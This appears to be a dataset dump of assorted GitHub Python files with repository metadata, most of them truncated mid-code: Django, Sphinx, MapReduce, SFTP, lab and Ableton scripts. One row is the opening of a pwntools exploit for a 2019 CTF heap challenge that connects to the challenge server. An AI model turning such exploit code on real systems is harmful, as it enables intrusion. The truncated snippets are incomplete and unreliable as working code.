from nistdataselection.utils import SubstanceType
def main():
output_directory = "gradients"
os.makedirs(output_directory, e... | [
"simon.boothroyd@colorado.edu"
] | simon.boothroyd@colorado.edu |
70e9f26eb50270b5fde47ec114dfef0cb5083e3c | 020cc6ee33ddb4f7c4864e6c3ca4f9d2fd7db8b2 | /docs_source/conf.py | 59c3fd9e82db206d036e6955fbee569c860deb4d | [
"MIT"
] | permissive | ajunlonglive/many_requests | 8324867fd21d17864c41f153680f142963f03362 | f80df66c8b5cd0f59b3ef31622a36e8ebd30094e | refs/heads/main | 2023-03-24T03:42:21.827985 | 2021-03-23T10:54:40 | 2021-03-23T10:54:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,258 | py | # Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... | [
"josh@levykramer.co.uk"
] | josh@levykramer.co.uk |
df52d8103305e042682cdf07e8594e0dfd1c6719 | 371748c34afaa0579bab10b2cd8fcc8414e2feb0 | /2019/TokyoWestern-CTF/astrisk_alloc/exploit.py | 6648c803833b7d90102365cc2e97da0a4ff1b457 | [] | no_license | HexRabbit/CTF-writeup | 51c27a521c58ab21ac7ba89d449a91e28e90ece2 | 4d90ebe8dce78c8aa0c3994afabf10bd6fa7103a | refs/heads/master | 2022-03-04T23:13:53.231339 | 2022-02-24T09:38:29 | 2022-02-24T09:38:29 | 144,137,043 | 26 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,030 | py | #!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'neww']
context.log_level = 'debug'
#r = process('./asterisk_alloc', env={'LD_PRELOAD': './libc.so.6'})
r = remote('ast-alloc.chal.ctf.westerns.tokyo', 10001)
libc = ELF('./libc.so.6')
def malloc(n, s):
r.sendlineafter('cho... | [
"mikuqb8718@gmail.com"
] | mikuqb8718@gmail.com |
cfeeef6a5a104412510c37699c7fd0e5884ed194 | c2c4ec34e9818fb12fbdb2b97fd4a3a497a9f250 | /account/decarators/decorator.py | 7563649c32053f89562ea2b9e88e2a986fa5a757 | [] | no_license | ismayilov1995/Todo_Django_Rest_API | e9c3e1f7cfbdfbaa058f742bcca2eab695ca8d34 | 74065f2ca864f774a6bd51a5b4c2ae6db683981a | refs/heads/master | 2020-11-30T06:45:02.071670 | 2019-12-31T10:50:22 | 2019-12-31T10:50:22 | 230,336,268 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 294 | py | from django.shortcuts import HttpResponseRedirect, reverse
def anonymous_required(func):
def wrap(request, *arg, **kwargs):
if request.user.is_authenticated:
return HttpResponseRedirect(reverse("mainPage"))
return func(request, *arg, **kwargs)
return wrap
| [
"ismayilov1995@gmail.com"
] | ismayilov1995@gmail.com |
f28590b72d0df2f8c472d4388db457889bd494e7 | db5e6b310e20651b53621d01d59e432e2803da4e | /Stock_market/python_scripts/command_centre.py | 35f4bf1cd576caf036f7817789ad709f1af4316a | [
"Apache-2.0"
] | permissive | stanleychilton/portfolio | eb9f06e27c7869c7b8db4aaceaa0ae9cb16aee05 | 78a72b45fd2e3e5767ccf4261387c770181560be | refs/heads/master | 2023-03-14T06:28:36.482780 | 2023-03-08T01:42:16 | 2023-03-08T01:42:16 | 216,955,285 | 0 | 0 | null | 2022-06-21T17:40:38 | 2019-10-23T02:56:16 | PHP | UTF-8 | Python | false | false | 906 | py | import sell_stocks as ss
def time_until_end_of_day(dt=None):
if dt is None:
dt = datetime.now()
return ((24 - dt.hour - 1) * 60 * 60) + ((60 - dt.minute - 1) * 60) + (60 - dt.second)
while True:
from datetime import datetime
from time import sleep
now = datetime.now()
dt_str... | [
"noreply@github.com"
] | noreply@github.com |
c7d594d40357f0020fc584144b499f0395fe4d45 | 4f4dd11bf460ac511cc6d023adaee585862c6938 | /pawenshu1.py | c1388df5c3a096b61a13fbfbce7016a5e68ef522 | [] | no_license | yijiangqingfeng/pawenshu | b14524fd43436064160cc4942dca97c08c335928 | 2faf5b4f6099f0d523a9dd08b7b0d18940e4f0db | refs/heads/master | 2023-03-06T02:27:18.351054 | 2021-02-21T12:58:01 | 2021-02-21T12:58:01 | 340,678,948 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 107 | py | from selenium import webdriver
import time
bro=webdriver.Chrome(execut ble_path='爬虫\chromedriver.exe') | [
"1174767671@qq.com"
] | 1174767671@qq.com |
76a49c26502a7d0a1ef66b31c48e747ee7d4847c | e70c75a33244e82de3ad1bd5b340bb0aa6b22ae9 | /task8/model2/reducer2.py | da078274e03dc3bf8185c029a5639cb31e2a534d | [] | no_license | joansanchez/MapReduce | e4ecb532f567a4e03241ff673e57332f96429445 | 91cda920cc4a5b5bd27b0a1f8c78b8d122bea4f5 | refs/heads/master | 2020-03-31T02:48:46.700098 | 2018-10-23T18:57:09 | 2018-10-23T18:57:09 | 151,840,674 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 811 | py | #!/usr/bin/env python2
#reducer2.py
import sys
prev_decade = None
values = []
first = 1
def getFinalAverage():
str1 = ''.join(values)
newValues = str1.strip().split(",")
averageDcd = sum(map(float,newValues))
return averageDcd/len(newValues)
for line in sys.stdin:
line = line.strip().split("\t")
... | [
"jsanchezgarcia13@gmail.com"
] | jsanchezgarcia13@gmail.com |
4378080d73d79db22e26768ee1aa3ea5ad18f02d | 696799b824503429a3ac65ebdc28890bfbcaebe0 | /spell/spell/lib/hifly/interface/_GlobalIDL__POA/__init__.py | 07fbcb34cfc2b1832d30ca8d1b51ba72cb065042 | [] | no_license | CalypsoCubesat/SPELL_GUI_4.0.2_win32_x86 | a176886b48873b090ab270c189113a8b2c261a06 | 9275ecfff2195ca4d4c297f894d80c1bcfa609e3 | refs/heads/master | 2021-08-03T08:04:25.821703 | 2019-10-28T04:53:50 | 2019-10-28T04:53:50 | 217,968,357 | 0 | 0 | null | 2021-08-02T17:03:44 | 2019-10-28T04:50:59 | Python | UTF-8 | Python | false | false | 880 | py | # DO NOT EDIT THIS FILE!
#
# Python module _GlobalIDL__POA generated by omniidl
import omniORB
omniORB.updateModule("spell.lib.hifly.interface._GlobalIDL__POA")
# ** 1. Stub files contributing to this module
import spell.lib.hifly.interface.TKCOMcorbaApplication_idl
import spell.lib.hifly.interface.TKCOMcorbaGUI_idl
... | [
"matthew.travis@aresinstitute.org"
] | matthew.travis@aresinstitute.org |
58aab337a2f07297187114095b4075ce7b4f5e1c | 768316ed72470715e641fda62a9166b610b27350 | /01-CodeChef-Begginer/263--Chef and Card Game.py | b1a78730b20668b518c61c5bc65f15d217f7b196 | [] | no_license | dhnesh12/codechef-solutions | 41113bb5922156888d9e57fdc35df89246e194f7 | 55bc7a69f76306bc0c3694180195c149cf951fb6 | refs/heads/master | 2023-03-31T15:42:04.649785 | 2021-04-06T05:38:38 | 2021-04-06T05:38:38 | 355,063,355 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 786 | py | # cook your dish here
def find_sum(elements):
total = 0
while(elements > 0):
total += int(elements % 10)
elements = int(elements / 10)
return total
test_case = int(input())
for i in range(test_case):
size_of_list = int(input())
count_1 = 0
count_2 = 0
for j in range(size_of_... | [
"dhneshwod@gmail.com"
] | dhneshwod@gmail.com |
833cdd4d3f3e09d7a3565d327be5460e9ca3fc9d | d6d206c7f74e59cacf795c2b06c97d952b897164 | /NewAudioServer/how_to_send.py | f4d5eb01f01424f937d6ff558232f0bb00df2c3d | [] | no_license | jacobyn/NewAudioServer | 514f2315ad67e449946043b89ac47863a3cf7539 | 6c637ab0ee634c7df7ce303859d6821e582db16b | refs/heads/master | 2020-05-22T04:05:33.722694 | 2016-09-19T00:55:33 | 2016-09-19T00:55:33 | 55,329,592 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 164 | py | import requests
url = 'http://audio.norijacoby.com/analyze'
files = {'file': open('uploads/uploaded2.wav', 'rb')}
r = requests.post(url, files=files)
print r.text
| [
"nori.viola@gmail.com"
] | nori.viola@gmail.com |
044d8947166c003ced67ee4881e274bcb4a3d450 | 6ae343f0d46bc9a8a96fa517b9acfaafdded7636 | /TbTe/timebasedtaskexecution.py | 95191c66156b64849059ef4dbfc6a53480eadb52 | [] | no_license | adij30/TimeBasedTaskExe | ed6ffd40095e476f52f5c44cc39b293e71811b6a | 46f3e63a6316364b5ad7b334a59fbcdb7006833a | refs/heads/master | 2022-11-05T05:33:53.140360 | 2020-06-28T13:59:06 | 2020-06-28T13:59:06 | 275,616,194 | 0 | 0 | null | 2020-06-28T15:42:38 | 2020-06-28T15:42:37 | null | UTF-8 | Python | false | false | 3,445 | py | from datetime import datetime
class TimeBaseTaskExe:
def __init__(self, tasktype, name, starttm, endtm):
self.tasktype = tasktype
self.name = name
self.starttm = starttm
self.endtm = endtm
def timebased(self):
print('Your Entered Input: ')
print(TaskType, User,... | [
"54031042+suhaswani@users.noreply.github.com"
] | 54031042+suhaswani@users.noreply.github.com |
49673bf0ccf5e67529f0847dc6e3444dfe3396cb | 9e3af8a40b53244722df812ef82edb09c659665f | /animate.py | 7476fab1b1d07cf4f39c5904951f9c2e8b58deab | [] | no_license | joemoore94/PlanetSimulation | 3888e20b8ae444cce39a3feb13623ebce67e5e22 | 1c02d987bdd3388dbc17db5a3529b2e39a084e2b | refs/heads/master | 2022-10-02T10:53:44.981180 | 2020-06-06T04:44:36 | 2020-06-06T04:44:36 | 269,868,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 817 | py | import numpy as np
import matplotlib.pyplot as plt
from matplotlib.animation import FuncAnimation
import sys
max = int(sys.argv[1])
s,x,y = np.loadtxt(f'particles/0.dat', usecols=(0,1,2), unpack=True)
for i in range(1,max):
s1,x1,y1 = np.loadtxt(f'particles/{i}.dat', usecols=(0,1,2), unpack=True)
s = np.colum... | [
"noreply@github.com"
] | noreply@github.com |
acf6c3c89fcd4c3c2e8ce49f3b795c8c5d49f20b | 4c678220177be1af3a89eefe5fef77b07de7f827 | /lesson_13/examples/position_in_file.py | 63ffc22896b0852c0f0ee3b80945df293bf8e3c3 | [] | no_license | Vladyslav92/PythonIntro02 | cc0aa4eb9f6376cd59be97e3d95a462ff8d90e83 | 43415a4b6c15bdfde040b5a8b498d822c9c3fcd2 | refs/heads/master | 2020-07-22T09:52:01.199759 | 2019-09-08T18:38:09 | 2019-09-08T18:38:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 751 | py | """
help(src.seek)
help(src.tell)
help(src.flush)
"""
import os
print(os.SEEK_SET)
print(os.SEEK_CUR)
print(os.SEEK_END)
filename = '/tmp/data.txt'
with open(filename, 'w') as fh:
fh.write("Hello World!\nHow are you today?\nThank you!")
print(os.path.getsize(filename)) # 42
with open(filename) as fh:
prin... | [
"kiseev.nikolay@gmail.com"
] | kiseev.nikolay@gmail.com |
14bfc4cff431f2c3f869eb5c1099612f78111145 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/324/usersdata/284/89554/submittedfiles/divisores.py | 13c2b3b92f659170432266e6544e618b11ce359a | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 278 | py | # -*- coding: utf-8 -*-
import math
n=int(input('digite a quantidade de multiplos: '))
a=int(input('digite o valor: '))
b=int(input('digite o valor: '))
for n in range(1,n/2+1,1):
if((a*n)!=(b*n)):
x=(a*n)
y=(b*n)
print(x)
print(y)
| [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
01edac53fd98800b3cf4fe2b411f538c61d7a31d | ac2ddcba77341c78963e3d885fc9792fa09aa082 | /src/xp/ngramXP.py | 8dd1de27611573e549e4991018e5beec136415e3 | [] | no_license | l3robot/PP-Predict | d6dc987a706ea8c9c2f2c832b3ae84c7afb2f57a | b75952eea8c11a124f8ad788c3e274201e7774d6 | refs/heads/master | 2021-01-18T21:34:24.334556 | 2017-03-09T19:35:06 | 2017-03-09T19:35:06 | 84,369,485 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 883 | py | import json
import numpy as np
from sklearn.svm import LinearSVC
from bow.bagOfWords import BagOfWords
from bow.bowAndLearner import BowAndLearner
from bow.bowPreFilter import BowPreFilter
from xp.gridSearch import gridSearch2D
from visual.graphs import save2DGridSearch
def condition(h1, h2):
return h1 <= h2
... | [
"emile.courriel@gmail.com"
] | emile.courriel@gmail.com |
ca70145663e5bd29f1a2419e6da9a5f5ac77a9dc | bc9a725ea14024b38d48e282b275f386251ca28c | /python/web/mysite/blog/migrations/0002_article_pub_time.py | e24a2983623db6b81e18d7f36350f7beb34076fb | [] | no_license | hushiking/work | ff431d15c2bd47268f05a6080bc00d0e83d7b023 | 9b17bf4cb5addfd5d089741d205fb5413ffa41d3 | refs/heads/master | 2020-12-02T21:12:07.170000 | 2018-07-30T04:43:53 | 2018-07-30T04:43:53 | 96,269,457 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 442 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-07-04 08:18
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0001_initial'),
]
operations = [
migrations.AddField(
m... | [
"hushiking@163.com"
] | hushiking@163.com |
3fcc137cb41c867124bea9f3c0ceaf7aeceeb17e | 23dcfa80f3fa582d21991312c7ccf52828d752cd | /measure_response_matrix/pySLM/definitions.py | bd62976583d483af266b4aed128df02a6b3f1353 | [
"MIT"
] | permissive | XinLuETH/characterization-of-response-matrix | 56a0e376c5cbc25e2a9d848401c50c3659b28cf0 | 70b9d22d050d855214d080ba8f5155f977f5d1cd | refs/heads/master | 2021-08-11T08:38:42.480558 | 2017-11-13T12:25:27 | 2017-11-13T12:25:27 | 110,544,740 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,808 | py | __author__ = 'Chronis'
import numpy as np
from scipy.special import j1
from astropy.io import fits
import pygame, os, time, pickle
import win32api
from tkinter import *
from tkinter import ttk
from tkinter import filedialog
import matplotlib
matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
import mat... | [
"noreply@github.com"
] | noreply@github.com |
9a9dbd43fe8908039910579d0b92dd2c7dfb0bf7 | 5787c447443efebb0203b7a927ba519c3becc276 | /app.py | 5dc92fc99c63c00f46ce87b96dc43086a8f0a0ed | [] | no_license | Khanze99/app_with_connect_ftp | 793fed7b3fe9071a4807238a093c37c0ec141dfa | f08b31607eb7e5a99d332a9bd180e2743090dec9 | refs/heads/master | 2022-12-11T23:48:07.367465 | 2019-08-09T20:32:19 | 2019-08-09T20:32:19 | 201,040,161 | 0 | 0 | null | 2022-12-08T05:59:45 | 2019-08-07T11:51:14 | Python | UTF-8 | Python | false | false | 2,852 | py | from loguru import logger
import pysftp
import threading
import json
import time
CHECK = False
TURN_LIST = []
# logger.add('ftp_connect.log')
def parse_config(): # Парсим config
while True:
if len(TURN_LIST) == 0:
time.sleep(5)
for item in TURN_LIST:
try:
... | [
"khamidov_anvar@mail.ru"
] | khamidov_anvar@mail.ru |
869c8034b50fb5e93d07d9fc12588eb7e36cbafa | 480839c83f12bf5f77c596327806f47a3095bd4d | /blogproject/blogproject/settings.py | d27330d783f45bdbf385cb145c402117d600dbb9 | [] | no_license | aanchaldjangoproject/django-blog-project | b19708afabac978dd1a1fd3de1fdee0b306a3b48 | 2dbe4df3b62f44368b5b97773320c088b4975526 | refs/heads/master | 2022-12-15T10:31:40.964395 | 2020-09-08T09:23:51 | 2020-09-08T09:23:51 | 293,762,976 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,483 | py | """
Django settings for blogproject project.
Generated by 'django-admin startproject' using Django 3.1.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathl... | [
"sharmaaanchal598@gmail.com"
] | sharmaaanchal598@gmail.com |
951b4442cabf4902c2af0e3992ca32fab9d49964 | 3a8ea5e69d3925919bc4d206f0480c35438d68d3 | /data/saves/txt2csv.py | 664339af044d7696f08a77876caa82df60d15267 | [] | no_license | TrellixVulnTeam/GTC_3DYA | 88d3e14a9d00b2571d3a8e15b9869b7f8ed9b844 | 93de95288dda2399cbfa532b3f65db2a1eaefbe9 | refs/heads/master | 2023-03-19T06:27:26.022402 | 2017-11-23T10:02:35 | 2017-11-23T10:02:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,395 | py | #!/usr/bin/python3
import sys, os
os.system("rm csv.txt && touch csv.txt")
vars = ["objectX", "objectY", "targetPosY", "targetPosX", "targetMap", "currentMap", "animationDirection", \
"targetMapFile", "objectType"]
with open('csv.txt', 'a') as csv_file:
csv_file.write(str(vars).strip("[]").replace("'", "")... | [
"connor1211.mcl@gmail.com"
] | connor1211.mcl@gmail.com |
12ff067d4d973ce3a8d98caa49dc939608131064 | fe27c88ce233ecf196a6e24c02d962562b19a55a | /Elements/header.py | cce01cd924e64906bf61c1448bd573c8d31e6111 | [
"MIT"
] | permissive | shreyas/swalpa | d13221342b386cdfd12e4ecf48c6bcb46a258502 | 200c23a04e0a6a63b805705c9af15cec708b895a | refs/heads/master | 2016-08-09T07:17:29.615007 | 2016-03-31T17:45:20 | 2016-03-31T17:45:20 | 55,145,885 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,337 | py | # Copyright (c) 2016 Shreyas Kulkarni (shyran@gmail.com)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify,... | [
"shyran@gmail.com"
] | shyran@gmail.com |
d005c194336845c14e74887110e5e55f11382714 | c4e729edfb9b056b9aa111a31eebefe41f39ac46 | /cloudapi/missions/tasks/record.py | cdaa29e70197b7ab5078425b1145c8e0ecc396b8 | [] | no_license | sun3shines/web | 870a558538278ecb4a39e5d9cab4ba2ebb626ca3 | 9e6f83e6e793f86ecdf7202daae3903cc052f266 | refs/heads/master | 2021-01-18T23:49:48.722245 | 2016-07-02T10:25:24 | 2016-07-02T10:25:24 | 54,888,971 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 709 | py | # -*- coding: utf-8 -*-
import json
from cloudapi.missions.tasks.task import Task
from cloudlib.urls.flask import strGetAtRecords,strGetOtRecords
class ObjectRecord(Task):
def __init__(self,atName,objPath):
self.atName = atName
self.objPath = objPath
def getUrl(self):
return ... | [
"sun__shines@163.com"
] | sun__shines@163.com |
f5af86d4e534bdc42ff4aaf9bb038cb6c056da23 | 546e6d8c3bb21695fc8794f8680444973e18bf2e | /posts/migrations/0007_remove_post_likes.py | 74af4ab9263e29aa1e4a57c2345028596d9cfd97 | [] | no_license | salma-osama/DataStructuresProject | e6af0f4da0d2a15ebc5d0c6ed1a9067402728bc5 | c2f7831e33984131e5969669af9cfd32e968f2de | refs/heads/master | 2020-03-15T05:29:01.502211 | 2018-05-03T17:52:25 | 2018-05-03T17:52:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 332 | py | # Generated by Django 2.0.4 on 2018-04-27 20:17
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('posts', '0006_post_likes'),
]
operations = [
migrations.RemoveField(
model_name='post',
name='likes',
... | [
"noreply@github.com"
] | noreply@github.com |
6fe735561a196c9ca6cb3a620e6f19a9433db701 | fe2c39fd6161ab009bfa52f28a6a31e3592c1011 | /src/pytorch_LSTM/pode-apagar-colab-20000-epocas/plot_csv.py | c92f68dbedda7404e732acf4cb01b15e4011b6a6 | [] | no_license | patrickctrf/ic-2019-2020-rnn-6d | 39fc35a385f51da251f2a6aaf3d74d0911c8c028 | bd352a879374db8882411f172b782beb2ea891c0 | refs/heads/master | 2022-08-10T11:31:16.114058 | 2020-10-09T01:36:06 | 2020-10-09T01:36:06 | 220,062,386 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 731 | py | # Load the Pandas libraries with alias 'pd'
import pandas as pd
# Read data from file 'filename.csv'
# (in the same directory that your python process is based)
# Control delimiters, rows, column names with read_csv (see later)
df = pd.read_csv("loss_log.csv")
# Preview the first 5 lines of the loaded data
print(d... | [
"ra175480@students.ic.unicamp.br"
] | ra175480@students.ic.unicamp.br |
8c8b7cf18508ad3e36b7fdd730f3943cec554af2 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03474/s404356500.py | d4682971fa5faca714d2624ed46885f397b1c9bf | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 382 | py | a,b = map(int,input().split())
s = input()
S = list(s)
c = 0
for i in S:
if i == "-":
c += 1
if c > 1:
print("No")
exit()
if s.isdecimal() is True:
print("No")
exit()
if len(s) != a + b + 1:
print("No")
exit()
if s[:a].isdecimal() is Tru... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
48164e05697f12162b12e8aff4514bae824c3d8f | bbebd95ce007baf3be20ca14fc8fe696c4c7dd96 | /L9 Python Scripts/AumTroll_b995_9/AumTroll.py | 83d5019532316b29608ed862930eaf065731e895 | [] | no_license | spiralune/monomodular | 70eeabcb5a9921b7bab30d8c5fd45ca237cde9c3 | 862bb02067c2fbc9816795904b2537a9b5e1c7b6 | refs/heads/master | 2020-12-11T04:06:25.390424 | 2014-07-09T19:45:41 | 2014-07-09T19:45:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 66,373 | py | # by amounra 0513 : http://www.aumhaa.com
from __future__ import with_statement
import Live
import time
import math
import sys
""" _Framework files """
from _Framework.ButtonElement import ButtonElement # Class representing a button a the controller
from _Framework.ButtonMatrixElement import ButtonMatrixElement # Cla... | [
"aumhaa@gmail.com"
] | aumhaa@gmail.com |
de99e3d6b96f3f3cf71cfa5b5de8e5d4dcdaecfe | e0677fc5cfa9e1e863feac6552e51c07091301c9 | /build/lib/patata/utilities.py | e822d4f4168c15e1af37d6850a6fd7817c7e6357 | [] | no_license | helendragon/SBI_Project | 084383d50b5b58f5cbdc857d021ab1f9e93c6eed | a1cbffbb635c3ae1543eb09b2a0afaab85297e12 | refs/heads/master | 2020-05-03T17:26:27.419496 | 2019-04-01T02:41:40 | 2019-04-01T02:41:40 | 178,743,703 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 472 | py | llista_lletres= ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S",
"T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l"
, "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
llista_llet... | [
"noreply@github.com"
] | noreply@github.com |
230e5bda7f6cf4d2322d7112137f588603769da0 | d3b55a592310893dd865e867bbe0e40fe1c16991 | /pythonPackagingTest/textinsights_common/textinsights_common.py | e7f857473cc1db2bced5be2c99a625c83828f9ff | [] | no_license | royassis/pythonPackagingTest | a610161d2953948b224fb4749d0be2199eb946a9 | 9e44f8ceec073272de6509a4b2b2a4763dc9c7aa | refs/heads/master | 2023-07-18T22:10:43.424054 | 2021-09-14T20:40:28 | 2021-09-14T20:40:28 | 406,508,528 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 114 | py | def some_common_function():
print("im from the textinsights_common.py inside the textinsights_common package") | [
"royassisg@gmail.com"
] | royassisg@gmail.com |
aa40fbd4c1451df0849cac5384e87d8c7d91f01f | 3c88eeb663b109118e734ab6d4a00cf8a8138125 | /become_python_developer/1_programming_foundations_algorithms/5 Searching/issorted_start.py | 759073f96ca38cabc56e10f940cbdcfbc46c6527 | [] | no_license | Gustacro/learning_python | 0dea054751b90cd1df64cb0b9b075fa0bc7a303d | 29562eb625c90b2839a19fd06967c3e9a9f994a3 | refs/heads/master | 2020-12-10T00:55:14.953087 | 2020-01-15T06:50:06 | 2020-01-15T06:50:06 | 233,465,209 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 629 | py | # determine if a list is sorted
items1 = [6, 8, 19, 20, 23, 41, 49, 53, 56, 87]
items2 = [6, 20, 8, 19, 56, 23, 87, 41, 49, 53]
def is_sorted(itemlist):
# TODO: using the brute force method
for i in range(0, len(itemlist) - 1):
if itemlist[i] > itemlist[i + 1]:
return False
return ... | [
"gcolmenaresr@gmail.com"
] | gcolmenaresr@gmail.com |
9117c58f9d9af792df47ed740986fa42b7b8c09b | dca45975cb56e3bfad07c28bdfd672db66b3c1c6 | /game.py | 61a5eac726c05186396ed7a8c1971daaf58612b6 | [] | no_license | CristianGrageda/ProyectoSL | 0f72239c7863fea24011b83b372ea601d422028a | 6e38a54c24418f6c1eaaef9ca10aa9a96c45fcdb | refs/heads/master | 2023-01-30T08:24:26.730975 | 2020-12-11T12:22:20 | 2020-12-11T12:22:20 | 305,205,003 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,818 | py | import pygame
from menu import *
from metodos_clases import *
from camara import *
class Game():
def __init__(self):
pygame.init()
# -- JUEGO EN EJECUCION, COMENZAR A JUGAR, JUEGO YA INICIALIZADO(para manejar el pause) --
self.ejecucion, self.jugar, self.inicio = True, False, False
... | [
"cristian_9816@hotmail.com"
] | cristian_9816@hotmail.com |
236ed30e3874b7479cd53c90e99ac5529579ce13 | 53c0df3772d2cf69f52d715d7a897b9d79e84a75 | /camera.py | a01229adb72b6a7fa16f6adc1ea19a56596c381a | [] | no_license | jmajurel/spyCam | 00723eb7a6fece84c867b1c363054aa819bedf38 | b0a8a84e21bbd02023b72deeb9650b714968278f | refs/heads/master | 2023-03-07T21:55:11.369965 | 2021-02-17T16:23:16 | 2021-02-17T16:23:16 | 338,104,577 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 913 | py | from io import BytesIO
from time import sleep
from picamera import PiCamera
from image_analyser import ImageAnalyser
import cv2
class Camera:
def __init__(self, width = 1024, height = 768):
self.__camera = PiCamera()
self.__camera.resolution = (width, height)
self.stream = BytesIO()
self.__delay = 2
self.__... | [
"jeanfelix.majurel@gmail.com"
] | jeanfelix.majurel@gmail.com |
9cefaaea70f554b97014656f629c999bf36330c8 | ff0c17789badd75559eb834fe039d4b4ab175ba8 | /pythonscript/x11-64-cpython/lib/python3.6/site-packages/tornado/test/util.py | 63a9762f14affb81d80e41f4f7f60d079bbe6a34 | [
"LicenseRef-scancode-python-cwi",
"LicenseRef-scancode-free-unknown",
"Python-2.0",
"GPL-1.0-or-later",
"LicenseRef-scancode-other-copyleft",
"LicenseRef-scancode-unicode",
"BSD-3-Clause",
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"OpenSSL",
"MIT"
] | permissive | studioschade/notebook_graph | 3f7555ab46167b050e461164c6b4a1525dc7df0c | 0fd159855fdd9c38a6dd293e5ec6164986ad6209 | refs/heads/master | 2022-10-23T23:54:54.467050 | 2018-10-14T08:10:18 | 2018-10-14T08:10:18 | 148,099,361 | 9 | 2 | MIT | 2022-10-10T20:16:48 | 2018-09-10T04:32:44 | Python | UTF-8 | Python | false | false | 4,006 | py | from __future__ import absolute_import, division, print_function
import contextlib
import os
import platform
import socket
import sys
import textwrap
from tornado.testing import bind_unused_port
# Delegate the choice of unittest or unittest2 to tornado.testing.
from tornado.testing import unittest
skipIfNonUnix = u... | [
"allen.schade@gmail.com"
] | allen.schade@gmail.com |
76312bdcf2c0cb870c0669be05da954c69104c19 | 39bf3bec014e64e80df52b697c9a8ba841dbb121 | /migrations/versions/1aae715e7889_.py | 1e8f08fe69be586899d07cc42c5adfac9d538bc1 | [] | no_license | f0rtun3/nexure-backend | e233c00830e418d7191949fdb062cb4c2c547cfa | 5daadc81c2dac3dc936cb2fd58a8f113846201e0 | refs/heads/master | 2022-04-06T00:59:01.922040 | 2020-02-22T15:47:18 | 2020-02-22T15:47:18 | 194,633,366 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 917 | py | """empty message
Revision ID: 1aae715e7889
Revises: de4bf6718891
Create Date: 2019-09-27 11:37:30.461476
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '1aae715e7889'
down_revision = 'de4bf6718891'
branch_labels = None
depends_on = None
def upgrade():
# ... | [
"oderapaul7@gmail.com"
] | oderapaul7@gmail.com |
41dd8a8167fa73c682f82e184e86c74410f5ba54 | f9977e4436647909615efc78155c13bf4b22c7a3 | /APCS3.py | 49b41eab05ebff34539569b6b060dc062e4a08bc | [] | no_license | AtamKing/APCS | 1627e9ddf111853770aa724491366e4fa5ebed31 | 15e2fcc3fdee069dd8e7a5cdb4d243a38368c9b7 | refs/heads/master | 2021-04-30T04:44:24.706565 | 2018-02-14T18:07:00 | 2018-02-14T18:07:00 | 121,543,315 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 749 | py | import time
print("To play this game you may need some instructions.")
print("You will be asked questions and given responces to choose from.")
print("Type your responce then hit enter.")
print("To check your inventory type inventory and to drop an item type the item number.")
print("To use an item type use /Ite... | [
"noreply@github.com"
] | noreply@github.com |
